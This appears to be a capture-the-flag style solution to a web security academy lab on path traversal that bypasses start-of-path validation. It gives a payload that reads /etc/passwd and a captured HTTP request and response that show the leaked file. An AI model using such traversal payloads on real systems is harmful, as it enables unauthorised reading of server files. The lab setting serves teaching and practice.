

Lab: File path traversal, validation of start of path

This lab contains a path traversal vulnerability in the display of product images.

The application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

Payload: `GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2`

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2				1 HTTP/2 200 OK			
2 Host: 0a790074046a7e048083a33e00b80021.web-security-academy.net				2 Content-Type: image/jpeg			
3 Cookie: session=UNSpReb3RjwALMqh19R57MPuJjeEciRs				3 X-Frame-Options: SAMEORIGIN			
4 Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"				4 Content-Length: 2316			
5 Sec-Ch-Ua-Mobile: ?0				5			
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0				6 root:x:0:0:root:/root:/bin/bash			
7 Sec-Ch-Ua-Platform: "Windows"				7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin			
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8				8 bin:x:2:2:bin:/bin:/usr/sbin/nologin			
9 Sec-Fetch-Site: same-origin				9 sys:x:3:3:sys:/dev:/usr/sbin/nologin			
10 Sec-Fetch-Mode: no-cors				10 sync:x:4:65534:sync:/bin:/bin/sync			
11 Sec-Fetch-Dest: image				11 games:x:5:60:games:/usr/games:/usr/sbin/nologin			
12 Referer: https://0a790074046a7e048083a33e00b80021.web-security-academy.net/product?productId=1				12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin			
13 Accept-Encoding: gzip, deflate, br				13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin			
14 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8				14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin			
15				15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin			
16				16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin			
				17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin			
				18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin			
				19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin			
				20 list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin			
				21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin			
				22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin			
				23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin			
				24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin			
				25 peter:x:12001:12001:/home/peter:/bin/bash			
				26 carlos:x:12002:12002:/home/carlos:/bin/bash			
				27 user:x:12000:12000:/home/user:/bin/bash			
				28 elmer:x:12099:12099:/home/elmer:/bin/bash			
				29 academy:x:10000:10000:/academy:/bin/bash			
				30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin			
				31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin			
				32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin			
				33 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin			
				34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin			
				35 mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false			
				36 postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash			



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